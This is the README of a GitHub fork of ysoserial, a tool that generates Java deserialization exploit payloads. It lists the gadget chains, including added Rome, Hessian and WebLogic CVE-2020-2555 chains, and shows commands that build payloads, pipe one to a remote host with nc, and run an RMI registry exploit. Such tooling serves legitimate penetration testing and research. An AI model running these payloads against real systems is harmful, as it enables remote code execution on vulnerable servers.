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A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization.

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f4nx1ng/ysoserial

 
 

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ysoserial

Description

该项目fork自ysoerial的原仓库,用于增添本人在学习过程当中的所遇到的所有反序列化链,后续会根据需要进行额外开发。

Log

1.现已加入Rome全家桶(RomeSpring、Rome2、RomeBypassHashmap、RomeSignedObject、SpringRome1、RomeJdbc)

2.现已加入两个基于Hessian的利用链,支持Hessian利用链的二进制文件输出,具体的命令格式参考usage java -jar ysoserial-[version]-all.jar [Hessian-payload] '[command]/[url]' [filename]

由于Heesian利用链的字节流对象在通过管道符输出至bin文件的时候,总是会有'end of file'的问题,所以直接干脆在工具内部使用FileOutputStream进行输出,HessianSpring利用链由于Spring版本不匹配的问题,所以无法正常实现。

3.引入了WebLogic的反序列化漏洞CVE-2020-2555,payload名称为Weblogic1,同时解决了由于做Hessian判定而失效的前置非Hessian类型的payload问题

Usage

E:\Github\repo\target>java -jar ysoserial-0.0.6-SNAPSHOT-all.jar
Y SO SERIAL?
Usage: java -jar ysoserial-[version]-all.jar [payload] '[command]'
  Available payload types:
六月 17, 2024 2:32:51 下午 org.reflections.Reflections scan
信息: Reflections took 166 ms to scan 1 urls, producing 18 keys and 170 values
     Payload             Authors                                Dependencies

     -------             -------                                ------------

     AspectJWeaver       @Jang                                  aspectjweaver:1.9.2, commons-collections:3.2.2
     BeanShell1          @pwntester, @cschneider4711            bsh:2.0b5
     C3P0                @mbechler                              c3p0:0.9.5.2, mchange-commons-java:0.2.11
     Click1              @artsploit                             click-nodeps:2.3.0, javax.servlet-api:3.1.0
     Clojure             @JackOfMostTrades                      clojure:1.8.0
     CommonsBeanutils1   @frohoff                               commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2
     CommonsCollections1 @frohoff                               commons-collections:3.1
     CommonsCollections2 @frohoff                               commons-collections4:4.0
     CommonsCollections3 @frohoff                               commons-collections:3.1
     CommonsCollections4 @frohoff                               commons-collections4:4.0
     CommonsCollections5 @matthias_kaiser, @jasinner            commons-collections:3.1
     CommonsCollections6 @matthias_kaiser                       commons-collections:3.1
     CommonsCollections7 @scristalli, @hanyrax, @EdoardoVignati commons-collections:3.1
     FileUpload1         @mbechler                              commons-fileupload:1.3.1, commons-io:2.4
     Groovy1             @frohoff                               groovy:2.3.9
     Hibernate1          @mbechler
     Hibernate2          @mbechler
     JBossInterceptors1  @matthias_kaiser                       javassist:3.12.1.GA, jboss-interceptor-core:2.0.0.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
     JRMPClient          @mbechler
     JRMPListener        @mbechler
     JSON1               @mbechler                              json-lib:jar:jdk15:2.4, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2, commons-lang:2.6, ezmorph:1.0.6, commons-beanutils:1.9.2, spring-core:4.1.4.RELEASE, commons-collections:3.1
     JavassistWeld1      @matthias_kaiser                       javassist:3.12.1.GA, weld-core:1.1.33.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
     Jdk7u21             @frohoff
     Jython1             @pwntester, @cschneider4711            jython-standalone:2.5.2
     MozillaRhino1       @matthias_kaiser                       js:1.7R2
     MozillaRhino2       @_tint0                                js:1.7R2
     Myfaces1            @mbechler
     Myfaces2            @mbechler
     ROME                @mbechler                              rome:1.0
     ROME2               @f4nx1ng                               rome:1.0
     RomeBypassHashmap   @f4nx1ng                               rome:1.0
     RomeException       @f4nx1ng                               rome:1.0
     RomeJdbc            @f4nx1ng                               rome:1.0
     RomeSignedObject    @f4nx1ng                               rome:1.0
     Spring1             @frohoff                               spring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE
     Spring2             @mbechler                              spring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2
     SpringRome1         @f4nx1ng
     URLDNS              @gebl
     Vaadin1             @kai_ullrich                           vaadin-server:7.7.14, vaadin-shared:7.7.14
     Wicket1             @jacob-baines                          wicket-util:6.23.0, slf4j-api:1.6.4

Examples

$ java -jar ysoserial.jar CommonsCollections1 calc.exe | xxd
0000000: aced 0005 7372 0032 7375 6e2e 7265 666c  ....sr.2sun.refl
0000010: 6563 742e 616e 6e6f 7461 7469 6f6e 2e41  ect.annotation.A
0000020: 6e6e 6f74 6174 696f 6e49 6e76 6f63 6174  nnotationInvocat
...
0000550: 7672 0012 6a61 7661 2e6c 616e 672e 4f76  vr..java.lang.Ov
0000560: 6572 7269 6465 0000 0000 0000 0000 0000  erride..........
0000570: 0078 7071 007e 003a                      .xpq.~.:

$ java -jar ysoserial.jar Groovy1 calc.exe > groovypayload.bin
$ nc 10.10.10.10 1099 < groovypayload.bin

$ java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit myhost 1099 CommonsCollections1 calc.exe

Installation

GitHub release

Download the latest release jar from GitHub releases.

Building

Requires Java 1.7+ and Maven 3.x+

mvn clean package -DskipTests

Code Status

Build Status Build status

Contributing

  1. Fork it
  2. Create your feature branch (git checkout -b my-new-feature)
  3. Commit your changes (git commit -am 'Add some feature')
  4. Push to the branch (git push origin my-new-feature)
  5. Create new Pull Request

See Also

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A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization.

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